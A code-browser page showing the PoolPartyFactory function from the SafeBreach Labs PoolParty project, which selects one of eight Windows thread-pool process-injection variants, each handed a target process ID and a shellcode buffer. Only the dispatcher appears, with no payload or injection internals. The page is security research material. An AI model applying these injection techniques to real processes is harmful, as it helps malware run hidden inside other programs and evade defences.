MCPcopy Create free account
hub / github.com/SafeBreach-Labs/PoolParty / PoolPartyFactory

Function PoolPartyFactory

PoolParty/main.cpp:78–102  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

76}
77
78std::unique_ptr<PoolParty> PoolPartyFactory(int VariantId, int TargetPid)
79{
80 switch (VariantId)
81 {
82 case 1:
83 return std::make_unique<WorkerFactoryStartRoutineOverwrite>(TargetPid, g_Shellcode, g_szShellcodeSize);
84 case 2:
85 return std::make_unique<RemoteTpWorkInsertion>(TargetPid, g_Shellcode, g_szShellcodeSize);
86 case 3:
87 return std::make_unique<RemoteTpWaitInsertion>(TargetPid, g_Shellcode, g_szShellcodeSize);
88 case 4:
89 return std::make_unique<RemoteTpIoInsertion>(TargetPid, g_Shellcode, g_szShellcodeSize);
90 case 5:
91 return std::make_unique<RemoteTpAlpcInsertion>(TargetPid, g_Shellcode, g_szShellcodeSize);
92 case 6:
93 return std::make_unique<RemoteTpJobInsertion>(TargetPid, g_Shellcode, g_szShellcodeSize);
94 case 7:
95 return std::make_unique<RemoteTpDirectInsertion>(TargetPid, g_Shellcode, g_szShellcodeSize);
96 case 8:
97 return std::make_unique<RemoteTpTimerInsertion>(TargetPid, g_Shellcode, g_szShellcodeSize);
98 default:
99 PrintUsage();
100 throw std::runtime_error("Invalid variant ID");
101 }
102}
103
104void InitLogging()
105{

Callers 1

mainFunction · 0.85

Calls 1

PrintUsageFunction · 0.85

Tested by

no test coverage detected